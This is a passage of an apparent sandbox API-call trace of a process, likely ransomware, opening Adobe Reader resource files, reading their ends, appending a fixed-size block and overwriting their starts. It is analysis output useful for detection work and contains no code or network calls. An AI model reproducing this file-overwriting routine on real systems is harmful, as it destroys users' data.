lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.413] WriteFile (in: hFile=0x1ac, lpBuffer=0x3a45528*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a45528*, lpNumberOfBytesWritten=0x340f28c*=0x4000, lpOverlapped=0x0) returned 1 [0047.413] CloseHandle (hObject=0x1ac) returned 1 [0047.422] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\slv32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\slv32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.423] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.423] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x7fff [0047.423] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.423] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.423] ReleaseMutex (hMutex=0x128) returned 1 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slv32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.423] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="slv32.clx", cchWideChar=9, lpMultiByteStr=0x1e6326c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="slv32.clx", lpUsedDefaultChar=0x0) returned 9 [0047.423] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.466] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6fff [0047.466] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.470] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x6fff [0047.470] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.471] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.471] CloseHandle (hObject=0x1a8) returned 1 [0047.471] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\swd43.hsp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\swd43.hsp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.471] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x821bd [0047.472] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.472] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.472] ReleaseMutex (hMutex=0x128) returned 1 [0047.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd43.hsp", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.472] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="swd43.hsp", cchWideChar=9, lpMultiByteStr=0x1e6316c, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="swd43.hsp", lpUsedDefaultChar=0x0) returned 9 [0047.472] ReadFile (in: hFile=0x1a8, lpBuffer=0x27f6bc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6bc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.487] ReadFile (in: hFile=0x1a8, lpBuffer=0x27f6bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6bc8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.490] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x811bd [0047.491] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.498] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x811bd [0047.498] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.498] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.498] WriteFile (in: hFile=0x1a8, lpBuffer=0x27f6bc8*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6bc8*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.499] WriteFile (in: hFile=0x1a8, lpBuffer=0x27f6bc8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x27f6bc8*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.499] CloseHandle (hObject=0x1a8) returned 1 [0047.499] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\SaslPrep\\SaslPrepProfile_norm_bidi.spp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\saslprep\\saslprepprofile_norm_bidi.spp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.499] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.499] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x359c [0047.500] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.500] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.500] ReleaseMutex (hMutex=0x128) returned 1 [0047.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaslPrepProfile_norm_bidi.spp", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0047.500] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SaslPrepProfile_norm_bidi.spp", cchWideChar=29, lpMultiByteStr=0x1e7fb4c, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SaslPrepProfile_norm_bidi.spp", lpUsedDefaultChar=0x0) returned 29 [0047.500] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.504] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x259c [0047.504] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.506] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x259c [0047.506] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dac438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac438*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.507] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.507] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.507] CloseHandle (hObject=0x1a8) returned 1 [0047.507] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\CENTEURO.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\centeuro.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.507] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.507] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x3294 [0047.507] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.507] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.507] ReleaseMutex (hMutex=0x128) returned 1 [0047.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CENTEURO.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.508] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CENTEURO.TXT", cchWideChar=12, lpMultiByteStr=0x1e6312c, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CENTEURO.TXT", lpUsedDefaultChar=0x0) returned 12 [0047.508] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.509] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2294 [0047.509] ReadFile (in: hFile=0x1a8, lpBuffer=0x276a328, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.509] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x2294 [0047.510] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dac438*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac438*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.510] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.510] WriteFile (in: hFile=0x1a8, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.510] CloseHandle (hObject=0x1a8) returned 1 [0047.510] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\Mac\\JAPANESE.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\mac\\japanese.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.510] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.510] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x320dc [0047.510] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.510] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.511] ReleaseMutex (hMutex=0x128) returned 1 [0047.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JAPANESE.TXT", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0047.511] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="JAPANESE.TXT", cchWideChar=12, lpMultiByteStr=0x1e631ec, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="JAPANESE.TXT", lpUsedDefaultChar=0x0) returned 12 [0047.511] ReadFile (in: hFile=0x1a8, lpBuffer=0x27f6bc8, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6bc8*, lpNumberOfBytesRead=0x340f278*=0x8000, lpOverlapped=0x0) returned 1 [0047.514] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x310dc [0047.514] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.520] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x310dc [0047.520] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.521] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.521] WriteFile (in: hFile=0x1a8, lpBuffer=0x1de0db8*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1de0db8*, lpNumberOfBytesWritten=0x340f28c*=0x8000, lpOverlapped=0x0) returned 1 [0047.521] CloseHandle (hObject=0x1a8) returned 1 [0047.521] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP1252.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp1252.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.521] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.521] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x25b5 [0047.521] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.521] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.521] ReleaseMutex (hMutex=0x128) returned 1 [0047.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1252.TXT", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0047.522] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP1252.TXT", cchWideChar=10, lpMultiByteStr=0x1e630ac, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP1252.TXT", lpUsedDefaultChar=0x0) returned 10 [0047.522] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.584] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x15b5 [0047.584] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.601] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0x15b5 [0047.601] WriteFile (in: hFile=0x1a8, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.602] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.602] WriteFile (in: hFile=0x1a8, lpBuffer=0x276b358*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.602] CloseHandle (hObject=0x1a8) returned 1 [0047.602] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\TypeSupport\\Unicode\\Mappings\\win\\CP949.TXT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\typesupport\\unicode\\mappings\\win\\cp949.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8 [0047.602] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.602] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xc5492 [0047.602] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0047.602] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0047.602] ReleaseMutex (hMutex=0x128) returned 1 [0047.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP949.TXT", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0047.602] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="CP949.TXT", cchWideChar=9, lpMultiByteStr=0x1e62fcc, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CP949.TXT", lpUsedDefaultChar=0x0) returned 9 [0047.603] ReadFile (in: hFile=0x1a8, lpBuffer=0x27f6bc8, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6bc8*, lpNumberOfBytesRead=0x340f278*=0xf000, lpOverlapped=0x0) returned 1 [0047.634] ReadFile (in: hFile=0x1a8, lpBuffer=0x27f6bc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x27f6bc8*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.638] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xc4492 [0047.638] ReadFile (in: hFile=0x1a8, lpBuffer=0x276b358, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x340f278, lpOverlapped=0x0 | out: lpBuffer=0x276b358*, lpNumberOfBytesRead=0x340f278*=0x1000, lpOverlapped=0x0) returned 1 [0047.660] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x340f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f2e8*=0) returned 0xc4492 [0047.660] WriteFile (in: hFile=0x1a8, lpBuffer=0x1dac408*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x1dac408*, lpNumberOfBytesWritten=0x340f28c*=0x1588, lpOverlapped=0x0) returned 1 [0047.660] SetFilePointer (in: hFile=0x1a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f2bc*=0) returned 0x0 [0047.660] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x340f28c*=0xf000, lpOverlapped=0x0) returned 1 [0047.661] WriteFile (in: hFile=0x1a8, lpBuffer=0x3a18498*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x340f28c, lpOverlapped=0x0 | out: lpBuffer=0x3a18498*, lpNumberOfBytesWritten=0x340f28c*=0x1000, lpOverlapped=0x0) returned 1 [0047.661] CloseHandle (hObject=0x1a8) returned 1 [0047.661] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1036.mst" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\setup files\\{ac76ba86-7ad7-ffff-7b44-aa0000000001}\\1036.mst"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0047.661] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1036.mst", nBufferLength=0x104, lpBuffer=0x340f694, lpFilePart=0x340f690 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files\\{AC76BA86-7AD7-FFFF-7B44-AA0000000001}\\1036.mst", lpFilePart=0x340f690*="1036.mst") returned 0x64 [0047.661] 